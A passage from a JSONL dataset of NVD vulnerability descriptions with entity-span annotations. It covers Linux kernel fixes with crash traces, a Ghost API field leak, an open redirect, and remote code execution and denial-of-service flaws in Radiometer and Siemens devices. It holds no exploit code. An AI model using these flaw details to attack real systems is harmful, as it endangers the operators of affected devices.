[[509, 525]], "ORGANIZATION: Fedora": [[108, 114]], "ORGANIZATION: SUSE": [[119, 123]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43816"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/core: remove call_control in inactive contexts\n\nIf damon_call() is executed against a DAMON context that is not running,\nthe function returns error while keeping the damon_call_control object\nlinked to the context's call_controls list.  Let's suppose the object is\ndeallocated after the damon_call(), and yet another damon_call() is\nexecuted against the same context.  The function tries to add the new\ndamon_call_control object to the call_controls list, which still has the\npointer to the previous damon_call_control object, which is deallocated. \nAs a result, use-after-free happens.\n\nThis can actually be triggered using the DAMON sysfs interface.  It is not\neasily exploitable since it requires the sysfs write permission and making\na definitely weird file writes, though.  Please refer to the report for\nmore details about the issue reproduction steps.\n\nFix the issue by making two changes.  Firstly, move the final\nkdamond_call() for cancelling all existing damon_call() requests from\nterminating DAMON context to be done before the ctx->kdamond reset.  This\nmakes any code that sees NULL ctx->kdamond can safely assume the context\nmay not access damon_call() requests anymore.  Secondly, let damon_call()\nto cleanup the damon_call_control objects that were added to the\nalready-terminated DAMON context, before returning the error.", "spans": {"FILEPATH: /damon/core": [[71, 82]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[641, 655]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23012"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nzsmalloc: move LRU update from zs_map_object() to zs_malloc()\n\nUnder memory pressure, we sometimes observe the following crash:\n\n[ 5694.832838] ------------[ cut here ]------------\n[ 5694.842093] list_del corruption, ffff888014b6a448->next is LIST_POISON1 (dead000000000100)\n[ 5694.858677] WARNING: CPU: 33 PID: 418824 at lib/list_debug.c:47 __list_del_entry_valid+0x42/0x80\n[ 5694.961820] CPU: 33 PID: 418824 Comm: fuse_counters.s Kdump: loaded Tainted: G S                5.19.0-0_fbk3_rc3_hoangnhatpzsdynshrv41_10870_g85a9558a25de #1\n[ 5694.990194] Hardware name: Wiwynn Twin Lakes MP/Twin Lakes Passive MP, BIOS YMM16 05/24/2021\n[ 5695.007072] RIP: 0010:__list_del_entry_valid+0x42/0x80\n[ 5695.017351] Code: 08 48 83 c2 22 48 39 d0 74 24 48 8b 10 48 39 f2 75 2c 48 8b 51 08 b0 01 48 39 f2 75 34 c3 48 c7 c7 55 d7 78 82 e8 4e 45 3b 00 <0f> 0b eb 31 48 c7 c7 27 a8 70 82 e8 3e 45 3b 00 0f 0b eb 21 48 c7\n[ 5695.054919] RSP: 0018:ffffc90027aef4f0 EFLAGS: 00010246\n[ 5695.065366] RAX: 41fe484987275300 RBX: ffff888008988180 RCX: 0000000000000000\n[ 5695.079636] RDX: ffff88886006c280 RSI: ffff888860060480 RDI: ffff888860060480\n[ 5695.093904] RBP: 0000000000000002 R08: 0000000000000000 R09: ffffc90027aef370\n[ 5695.108175] R10: 0000000000000000 R11: ffffffff82fdf1c0 R12: 0000000010000002\n[ 5695.122447] R13: ffff888014b6a448 R14: ffff888014b6a420 R15: 00000000138dc240\n[ 5695.136717] FS:  00007f23a7d3f740(0000) GS:ffff888860040000(0000) knlGS:0000000000000000\n[ 5695.152899] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 5695.164388] CR2: 0000560ceaab6ac0 CR3: 000000001c06c001 CR4: 00000000007706e0\n[ 5695.178659] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 5695.192927] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[ 5695.207197] PKRU: 55555554\n[ 5695.212602] Call Trace:\n[ 5695.217486]  <TASK>\n[ 5695.221674]  zs_map_object+0x91/0x270\n[ 5695.229000]  zswap_frontswap_store+0x33d/0x870\n[ 5695.237885]  ? do_raw_spin_lock+0x5d/0xa0\n[ 5695.245899]  __frontswap_store+0x51/0xb0\n[ 5695.253742]  swap_writepage+0x3c/0x60\n[ 5695.261063]  shrink_page_list+0x738/0x1230\n[ 5695.269255]  shrink_lruvec+0x5ec/0xcd0\n[ 5695.276749]  ? shrink_slab+0x187/0x5f0\n[ 5695.284240]  ? mem_cgroup_iter+0x6e/0x120\n[ 5695.292255]  shrink_node+0x293/0x7b0\n[ 5695.299402]  do_try_to_free_pages+0xea/0x550\n[ 5695.307940]  try_to_free_pages+0x19a/0x490\n[ 5695.316126]  __folio_alloc+0x19ff/0x3e40\n[ 5695.323971]  ? __filemap_get_folio+0x8a/0x4e0\n[ 5695.332681]  ? walk_component+0x2a8/0xb50\n[ 5695.340697]  ? generic_permission+0xda/0x2a0\n[ 5695.349231]  ? __filemap_get_folio+0x8a/0x4e0\n[ 5695.357940]  ? walk_component+0x2a8/0xb50\n[ 5695.365955]  vma_alloc_folio+0x10e/0x570\n[ 5695.373796]  ? walk_component+0x52/0xb50\n[ 5695.381634]  wp_page_copy+0x38c/0xc10\n[ 5695.388953]  ? filename_lookup+0x378/0xbc0\n[ 5695.397140]  handle_mm_fault+0x87f/0x1800\n[ 5695.405157]  do_user_addr_fault+0x1bd/0x570\n[ 5695.413520]  exc_page_fault+0x5d/0x110\n[ 5695.421017]  asm_exc_page_fault+0x22/0x30\n\nAfter some investigation, I have found the following issue: unlike other\nzswap backends, zsmalloc performs the LRU list update at the object\nmapping time, rather than when the slot for the object is allocated.\nThis deviation was discussed and agreed upon during the review process\nof the zsmalloc writeback patch series:\n\nhttps://lore.kernel.org/lkml/Y3flcAXNxxrvy3ZH@cmpxchg.org/\n\nUnfortunately, this introduces a subtle bug that occurs when there is a\nconcurrent store and reclaim, which interleave as follows:\n\nzswap_frontswap_store()            shrink_worker()\n  zs_malloc()                        zs_zpool_shrink()\n    spin_lock(&pool->lock)             zs_reclaim_page()\n    zspage = find_get_zspage()\n    spin_unlock(&pool->lock)\n                                         spin_lock(&pool->lock)\n                                         zspage = list_first_entry(&pool->lru)\n                  \n---truncated---", "spans": {"URL: https://lore.kernel.org/lkml/Y3flcAXNxxrvy3ZH@cmpxchg.org/": [[3406, 3464]], "FILEPATH: /24/2021": [[693, 701]], "FILEPATH: list_debug.c": [[395, 407]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54165"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnilfs2: fix shift-out-of-bounds/overflow in nilfs_sb2_bad_offset()\n\nPatch series \"nilfs2: fix UBSAN shift-out-of-bounds warnings on mount\ntime\".\n\nThe first patch fixes a bug reported by syzbot, and the second one fixes\nthe remaining bug of the same kind.  Although they are triggered by the\nsame super block data anomaly, I divided it into the above two because the\ndetails of the issues and how to fix it are different.\n\nBoth are required to eliminate the shift-out-of-bounds issues at mount\ntime.\n\n\nThis patch (of 2):\n\nIf the block size exponent information written in an on-disk superblock is\ncorrupted, nilfs_sb2_bad_offset helper function can trigger\nshift-out-of-bounds warning followed by a kernel panic (if panic_on_warn\nis set):\n\n shift exponent 38983 is too large for 64-bit type 'unsigned long long'\n Call Trace:\n  <TASK>\n  __dump_stack lib/dump_stack.c:88 [inline]\n  dump_stack_lvl+0x1b1/0x28e lib/dump_stack.c:106\n  ubsan_epilogue lib/ubsan.c:151 [inline]\n  __ubsan_handle_shift_out_of_bounds+0x33d/0x3b0 lib/ubsan.c:322\n  nilfs_sb2_bad_offset fs/nilfs2/the_nilfs.c:449 [inline]\n  nilfs_load_super_block+0xdf5/0xe00 fs/nilfs2/the_nilfs.c:523\n  init_nilfs+0xb7/0x7d0 fs/nilfs2/the_nilfs.c:577\n  nilfs_fill_super+0xb1/0x5d0 fs/nilfs2/super.c:1047\n  nilfs_mount+0x613/0x9b0 fs/nilfs2/super.c:1317\n  ...\n\nIn addition, since nilfs_sb2_bad_offset() performs multiplication without\nconsidering the upper bound, the computation may overflow if the disk\nlayout parameters are not normal.\n\nThis fixes these issues by inserting preliminary sanity checks for those\nparameters and by converting the comparison from one involving\nmultiplication and left bit-shifting to one using division and right\nbit-shifting.", "spans": {"FILEPATH: /nilfs2/the_nilfs.c": [[1128, 1147], [1200, 1219], [1250, 1269]], "FILEPATH: /nilfs2/super.c": [[1306, 1321], [1355, 1370]], "FILEPATH: dump_stack.c": [[921, 933], [979, 991]], "FILEPATH: ubsan.c": [[1017, 1024], [1091, 1098]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50478"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: prevent concurrent execution of tcp_sk_exit_batch\n\nIts possible that two threads call tcp_sk_exit_batch() concurrently,\nonce from the cleanup_net workqueue, once from a task that failed to clone\na new netns.  In the latter case, error unwinding calls the exit handlers\nin reverse order for the 'failed' netns.\n\ntcp_sk_exit_batch() calls tcp_twsk_purge().\nProblem is that since commit b099ce2602d8 (\"net: Batch inet_twsk_purge\"),\nthis function picks up twsk in any dying netns, not just the one passed\nin via exit_batch list.\n\nThis means that the error unwind of setup_net() can \"steal\" and destroy\ntimewait sockets belonging to the exiting netns.\n\nThis allows the netns exit worker to proceed to call\n\nWARN_ON_ONCE(!refcount_dec_and_test(&net->ipv4.tcp_death_row.tw_refcount));\n\nwithout the expected 1 -> 0 transition, which then splats.\n\nAt same time, error unwind path that is also running inet_twsk_purge()\nwill splat as well:\n\nWARNING: .. at lib/refcount.c:31 refcount_warn_saturate+0x1ed/0x210\n...\n refcount_dec include/linux/refcount.h:351 [inline]\n inet_twsk_kill+0x758/0x9c0 net/ipv4/inet_timewait_sock.c:70\n inet_twsk_deschedule_put net/ipv4/inet_timewait_sock.c:221\n inet_twsk_purge+0x725/0x890 net/ipv4/inet_timewait_sock.c:304\n tcp_sk_exit_batch+0x1c/0x170 net/ipv4/tcp_ipv4.c:3522\n ops_exit_list+0x128/0x180 net/core/net_namespace.c:178\n setup_net+0x714/0xb40 net/core/net_namespace.c:375\n copy_net_ns+0x2f0/0x670 net/core/net_namespace.c:508\n create_new_namespaces+0x3ea/0xb10 kernel/nsproxy.c:110\n\n... because refcount_dec() of tw_refcount unexpectedly dropped to 0.\n\nThis doesn't seem like an actual bug (no tw sockets got lost and I don't\nsee a use-after-free) but as erroneous trigger of debug check.\n\nAdd a mutex to force strict ordering: the task that calls tcp_twsk_purge()\nblocks other task from doing final _dec_and_test before mutex-owner has\nremoved all tw sockets of dying netns.", "spans": {"FILEPATH: /linux/refcount.h": [[1098, 1115]], "FILEPATH: /ipv4/inet_timewait_sock.c": [[1160, 1186], [1219, 1245], [1282, 1308]], "FILEPATH: /ipv4/tcp_ipv4.c": [[1346, 1362]], "FILEPATH: /core/net_namespace.c": [[1398, 1419], [1450, 1471], [1504, 1525]], "FILEPATH: refcount.c": [[1024, 1034]], "FILEPATH: nsproxy.c": [[1572, 1581]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1736, 1750]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44991"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: prevent possible NULL dereference in rt6_probe()\n\nsyzbot caught a NULL dereference in rt6_probe() [1]\n\nBail out if  __in6_dev_get() returns NULL.\n\n[1]\nOops: general protection fault, probably for non-canonical address 0xdffffc00000000cb: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000658-0x000000000000065f]\nCPU: 1 PID: 22444 Comm: syz-executor.0 Not tainted 6.10.0-rc2-syzkaller-00383-gb8481381d4e2 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\n RIP: 0010:rt6_probe net/ipv6/route.c:656 [inline]\n RIP: 0010:find_match+0x8c4/0xf50 net/ipv6/route.c:758\nCode: 14 fd f7 48 8b 85 38 ff ff ff 48 c7 45 b0 00 00 00 00 48 8d b8 5c 06 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 <0f> b6 14 02 48 89 f8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 19\nRSP: 0018:ffffc900034af070 EFLAGS: 00010203\nRAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffffc90004521000\nRDX: 00000000000000cb RSI: ffffffff8990d0cd RDI: 000000000000065c\nRBP: ffffc900034af150 R08: 0000000000000005 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000002 R12: 000000000000000a\nR13: 1ffff92000695e18 R14: ffff8880244a1d20 R15: 0000000000000000\nFS:  00007f4844a5a6c0(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b31b27000 CR3: 000000002d42c000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  rt6_nh_find_match+0xfa/0x1a0 net/ipv6/route.c:784\n  nexthop_for_each_fib6_nh+0x26d/0x4a0 net/ipv4/nexthop.c:1496\n  __find_rr_leaf+0x6e7/0xe00 net/ipv6/route.c:825\n  find_rr_leaf net/ipv6/route.c:853 [inline]\n  rt6_select net/ipv6/route.c:897 [inline]\n  fib6_table_lookup+0x57e/0xa30 net/ipv6/route.c:2195\n  ip6_pol_route+0x1cd/0x1150 net/ipv6/route.c:2231\n  pol_lookup_func include/net/ip6_fib.h:616 [inline]\n  fib6_rule_lookup+0x386/0x720 net/ipv6/fib6_rules.c:121\n  ip6_route_output_flags_noref net/ipv6/route.c:2639 [inline]\n  ip6_route_output_flags+0x1d0/0x640 net/ipv6/route.c:2651\n  ip6_dst_lookup_tail.constprop.0+0x961/0x1760 net/ipv6/ip6_output.c:1147\n  ip6_dst_lookup_flow+0x99/0x1d0 net/ipv6/ip6_output.c:1250\n  rawv6_sendmsg+0xdab/0x4340 net/ipv6/raw.c:898\n  inet_sendmsg+0x119/0x140 net/ipv4/af_inet.c:853\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg net/socket.c:745 [inline]\n  sock_write_iter+0x4b8/0x5c0 net/socket.c:1160\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0x6b6/0x1140 fs/read_write.c:590\n  ksys_write+0x1f8/0x260 fs/read_write.c:643\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /02/2024": [[592, 600]], "FILEPATH: /ipv6/route.c": [[625, 638], [689, 702], [1660, 1673], [1773, 1786], [1809, 1822], [1852, 1865], [1914, 1927], [1965, 1978], [2128, 2141], [2196, 2209]], "FILEPATH: /ipv4/nexthop.c": [[1720, 1735]], "FILEPATH: /net/ip6_fib.h": [[2009, 2023]], "FILEPATH: /ipv6/fib6_rules.c": [[2071, 2089]], "FILEPATH: /ipv6/ip6_output.c": [[2265, 2283], [2325, 2343]], "FILEPATH: /ipv6/raw.c": [[2381, 2392]], "FILEPATH: /ipv4/af_inet.c": [[2427, 2442]], "FILEPATH: /x86/entry/common.c": [[2742, 2761], [2805, 2824]], "FILEPATH: socket.c": [[2472, 2480], [2515, 2523], [2571, 2579]], "FILEPATH: read_write.c": [[2605, 2617], [2659, 2671], [2704, 2716]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[526, 532], [533, 539], [555, 561], [583, 589]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40960"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: allow small head cache usage with large MAX_SKB_FRAGS values\n\nSabrina reported the following splat:\n\n    WARNING: CPU: 0 PID: 1 at net/core/dev.c:6935 netif_napi_add_weight_locked+0x8f2/0xba0\n    Modules linked in:\n    CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.14.0-rc1-net-00092-g011b03359038 #996\n    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.3-1-1 04/01/2014\n    RIP: 0010:netif_napi_add_weight_locked+0x8f2/0xba0\n    Code: e8 c3 e6 6a fe 48 83 c4 28 5b 5d 41 5c 41 5d 41 5e 41 5f c3 cc cc cc cc c7 44 24 10 ff ff ff ff e9 8f fb ff ff e8 9e e6 6a fe <0f> 0b e9 d3 fe ff ff e8 92 e6 6a fe 48 8b 04 24 be ff ff ff ff 48\n    RSP: 0000:ffffc9000001fc60 EFLAGS: 00010293\n    RAX: 0000000000000000 RBX: ffff88806ce48128 RCX: 1ffff11001664b9e\n    RDX: ffff888008f00040 RSI: ffffffff8317ca42 RDI: ffff88800b325cb6\n    RBP: ffff88800b325c40 R08: 0000000000000001 R09: ffffed100167502c\n    R10: ffff88800b3a8163 R11: 0000000000000000 R12: ffff88800ac1c168\n    R13: ffff88800ac1c168 R14: ffff88800ac1c168 R15: 0000000000000007\n    FS:  0000000000000000(0000) GS:ffff88806ce00000(0000) knlGS:0000000000000000\n    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n    CR2: ffff888008201000 CR3: 0000000004c94001 CR4: 0000000000370ef0\n    DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n    DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n    Call Trace:\n    <TASK>\n    gro_cells_init+0x1ba/0x270\n    xfrm_input_init+0x4b/0x2a0\n    xfrm_init+0x38/0x50\n    ip_rt_init+0x2d7/0x350\n    ip_init+0xf/0x20\n    inet_init+0x406/0x590\n    do_one_initcall+0x9d/0x2e0\n    do_initcalls+0x23b/0x280\n    kernel_init_freeable+0x445/0x490\n    kernel_init+0x20/0x1d0\n    ret_from_fork+0x46/0x80\n    ret_from_fork_asm+0x1a/0x30\n    </TASK>\n    irq event stamp: 584330\n    hardirqs last  enabled at (584338): [<ffffffff8168bf87>] __up_console_sem+0x77/0xb0\n    hardirqs last disabled at (584345): [<ffffffff8168bf6c>] __up_console_sem+0x5c/0xb0\n    softirqs last  enabled at (583242): [<ffffffff833ee96d>] netlink_insert+0x14d/0x470\n    softirqs last disabled at (583754): [<ffffffff8317c8cd>] netif_napi_add_weight_locked+0x77d/0xba0\n\non kernel built with MAX_SKB_FRAGS=45, where SKB_WITH_OVERHEAD(1024)\nis smaller than GRO_MAX_HEAD.\n\nSuch built additionally contains the revert of the single page frag cache\nso that napi_get_frags() ends up using the page frag allocator, triggering\nthe splat.\n\nNote that the underlying issue is independent from the mentioned\nrevert; address it ensuring that the small head cache will fit either TCP\nand GRO allocation and updating napi_alloc_skb() and __netdev_alloc_skb()\nto select kmalloc() usage for any allocation fitting such cache.", "spans": {"FILEPATH: /core/dev.c": [[208, 219]], "FILEPATH: /01/2014": [[470, 478]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[451, 456]], "SYSTEM: QEMU": [[401, 405]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21868"}}
{"text": "Ghost is an app for new-media creators with tools to build a website, publish content, send newsletters, and offer paid subscriptions to members. Prior to version 5.46.1, due to a lack of validation when filtering on the public API endpoints, it is possible to reveal private fields via a brute force attack.\n\nGhost(Pro) has already been patched. Maintainers can find no evidence that the issue was exploited on Ghost(Pro) prior to the patch being added. Self-hosters are impacted if running Ghost a version below v5.46.1. v5.46.1 contains a fix for this issue. As a workaround, add a block for requests to `/ghost/api/content/*` where the `filter` query parameter contains `password` or `email`.", "spans": {"FILEPATH: /ghost/api/content": [[608, 626]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-31133"}}
{"text": "Tenancy multi-tenant is an open source multi-domain controller for the Laravel web framework. In some situations, it is possible to have open redirects where users can be redirected from your site to any other site using a specially crafted URL. This is only the case for installations where the default Hostname Identification is used and the environment uses tenants that have `force_https` set to `true` (default: `false`). Version 5.7.2 contains the relevant patches to fix this bug. Stripping the URL from special characters to prevent specially crafted URL's from being redirected to. As a work around users can set the `force_https` to every tenant to `false`, however this may degrade connection security.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32645"}}
{"text": "A vulnerability in the application software of multiple Radiometer products may allow remote code execution and unauthorized device management when specific internal conditions are met. Exploitation requires that a remote connection is established with additional information obtained through other means.  The issue is caused by a weakness in the analyzer’s application software.                                                                                                                                                                                                Other related CVE's are CVE-2025-14095 & CVE-2025-14096.                                                                                                      Affected customers have been informed about this vulnerability. This CVE is being published to provide transparency.\n\n\n\nRequired Configuration for Exposure: Affected application software version is in use and remote support feature is enabled in the analyzer.                                                                                                                                                                        Temporary work Around: If the network is not considered secure, please remove the analyzer from the network.                         Permanent solution:\nCustomers should ensure the following:\n•  The network is secure, and access follows best practices.\nLocal Radiometer representatives will contact all affected customers to discuss a permanent solution.                                                     \nExploit Status:\n\n\nResearchers have provided working proof-of-concept (PoC). Radiometer is not aware of any publicly available exploits at the time of this publication.", "spans": {"CVE_ID: CVE-2025-14095": [[596, 610]], "CVE_ID: CVE-2025-14096": [[613, 627]], "VULNERABILITY: remote code execution": [[86, 107]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-14097"}}
{"text": "A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.4), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.19), APOGEE PXC Modular (BACnet) (All versions < V3.5.4), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.19), Desigo PXC00-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC00-U (All versions >= V2.3 and < V6.30.016), Desigo PXC001-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC100-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC12-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC128-U (All versions >= V2.3 and < V6.30.016), Desigo PXC200-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC36.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC50-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC64-U (All versions >= V2.3 and < V6.30.016), Desigo PXM20-E (All versions >= V2.3 and < V6.30.016), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus Source Code (All versions), TALON TC Compact (BACnet) (All versions < V3.5.4), TALON TC Modular (BACnet) (All versions < V3.5.4). FTP server does not properly validate the length of the “USER” command, leading to stack-based buffer overflows. This may result in Denial-of-Service conditions and Remote Code Execution. (FSMD-2021-0010)", "spans": {"VULNERABILITY: Remote Code Execution": [[1564, 1585]], "VULNERABILITY: Denial-of-Service": [[1531, 1548]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31886"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmlxbf_gige: stop interface during shutdown\n\nThe mlxbf_gige driver intermittantly encounters a NULL pointer\nexception while the system is shutting down via \"reboot\" command.\nThe mlxbf_driver will experience an exception right after executing\nits shutdown() method.  One example of this exception is:\n\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000070\nMem abort info:\n  ESR = 0x0000000096000004\n  EC = 0x25: DABT (current EL), IL = 32 bits\n  SET = 0, FnV = 0\n  EA = 0, S1PTW = 0\n  FSC = 0x04: level 0 translation fault\nData abort info:\n  ISV = 0, ISS = 0x00000004\n  CM = 0, WnR = 0\nuser pgtable: 4k pages, 48-bit VAs, pgdp=000000011d373000\n[0000000000000070] pgd=0000000000000000, p4d=0000000000000000\nInternal error: Oops: 96000004 [#1] SMP\nCPU: 0 PID: 13 Comm: ksoftirqd/0 Tainted: G S         OE     5.15.0-bf.6.gef6992a #1\nHardware name: https://www.mellanox.com BlueField SoC/BlueField SoC, BIOS 4.0.2.12669 Apr 21 2023\npstate: 20400009 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : mlxbf_gige_handle_tx_complete+0xc8/0x170 [mlxbf_gige]\nlr : mlxbf_gige_poll+0x54/0x160 [mlxbf_gige]\nsp : ffff8000080d3c10\nx29: ffff8000080d3c10 x28: ffffcce72cbb7000 x27: ffff8000080d3d58\nx26: ffff0000814e7340 x25: ffff331cd1a05000 x24: ffffcce72c4ea008\nx23: ffff0000814e4b40 x22: ffff0000814e4d10 x21: ffff0000814e4128\nx20: 0000000000000000 x19: ffff0000814e4a80 x18: ffffffffffffffff\nx17: 000000000000001c x16: ffffcce72b4553f4 x15: ffff80008805b8a7\nx14: 0000000000000000 x13: 0000000000000030 x12: 0101010101010101\nx11: 7f7f7f7f7f7f7f7f x10: c2ac898b17576267 x9 : ffffcce720fa5404\nx8 : ffff000080812138 x7 : 0000000000002e9a x6 : 0000000000000080\nx5 : ffff00008de3b000 x4 : 0000000000000000 x3 : 0000000000000001\nx2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000\nCall trace:\n mlxbf_gige_handle_tx_complete+0xc8/0x170 [mlxbf_gige]\n mlxbf_gige_poll+0x54/0x160 [mlxbf_gige]\n __napi_poll+0x40/0x1c8\n net_rx_action+0x314/0x3a0\n __do_softirq+0x128/0x334\n run_ksoftirqd+0x54/0x6c\n smpboot_thread_fn+0x14c/0x190\n kthread+0x10c/0x110\n ret_from_fork+0x10/0x20\nCode: 8b070000 f9000ea0 f95056c0 f86178a1 (b9407002)\n---[ end trace 7cc3941aa0d8e6a4 ]---\nKernel panic - not syncing: Oops: Fatal exception in interrupt\nKernel Offset: 0x4ce722520000 from 0xffff800008000000\nPHYS_OFFSET: 0x80000000\nCPU features: 0x000005c1,a3330e5a\nMemory Limit: none\n---[ end Kernel panic - not syncing: Oops: Fatal exception in interrupt ]---\n\nDuring system shutdown, the mlxbf_gige driver's shutdown() is always executed.\nHowever, the driver's stop() method will only execute if networking interface\nconfiguration logic within the Linux distribution has been setup to do so.\n\nIf shutdown() executes but stop() does not execute, NAPI remains enabled\nand this can lead to an exception if NAPI is scheduled while the hardware\ninterface has only been partially deinitialized.\n\nThe networking interface managed by the mlxbf_gige driver must be properly\nstopped during system shutdown so that IFF_UP is cleared, the hardware\ninterface is put into a clean state, and NAPI is fully deinitialized.", "spans": {"URL: https://www.mellanox.com": [[944, 968]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[2714, 2719]], "VULNERABILITY: NULL pointer dereference": [[393, 417]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35885"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: iscsi: iscsi_tcp: Fix null-ptr-deref while calling getpeername()\n\nFix a NULL pointer crash that occurs when we are freeing the socket at the\nsame time we access it via sysfs.\n\nThe problem is that:\n\n 1. iscsi_sw_tcp_conn_get_param() and iscsi_sw_tcp_host_get_param() take\n    the frwd_lock and do sock_hold() then drop the frwd_lock. sock_hold()\n    does a get on the \"struct sock\".\n\n 2. iscsi_sw_tcp_release_conn() does sockfd_put() which does the last put\n    on the \"struct socket\" and that does __sock_release() which sets the\n    sock->ops to NULL.\n\n 3. iscsi_sw_tcp_conn_get_param() and iscsi_sw_tcp_host_get_param() then\n    call kernel_getpeername() which accesses the NULL sock->ops.\n\nAbove we do a get on the \"struct sock\", but we needed a get on the \"struct\nsocket\". Originally, we just held the frwd_lock the entire time but in\ncommit bcf3a2953d36 (\"scsi: iscsi: iscsi_tcp: Avoid holding spinlock while\ncalling getpeername()\") we switched to refcount based because the network\nlayer changed and started taking a mutex in that path, so we could no\nlonger hold the frwd_lock.\n\nInstead of trying to maintain multiple refcounts, this just has us use a\nmutex for accessing the socket in the interface code paths.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50459"}}
{"text": "A vulnerability has been identified in SIMATIC Drive Controller family (All versions < V2.9.2), SIMATIC Drive Controller family (All versions >= V2.9.2 < V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC (incl. SIPLUS variants) (All versions), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions < V21.9), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions >= V21.9 < V21.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 Ready4Linux (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions < V4.5.0), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions >= V4.5.0 < V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions < V2.9.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions >= V2.9.2 < V2.9.4), SIMATIC S7-1500 Software Controller (All versions < V21.9), SIMATIC S7-1500 Software Controller (All versions >= V21.9 < V21.9.4), SIMATIC S7-PLCSIM Advanced (All versions < V4.0), SIMATIC S7-PLCSIM Advanced (All versions >= V4.0 < V4.0 SP1), SIPLUS TIM 1531 IRC (All versions < V2.3.6), TIM 1531 IRC (All versions < V2.3.6). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packet over port 102/tcp. A restart of the affected device is needed to restore normal operations.", "spans": {"VULNERABILITY: denial-of-service": [[1267, 1284]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37204"}}
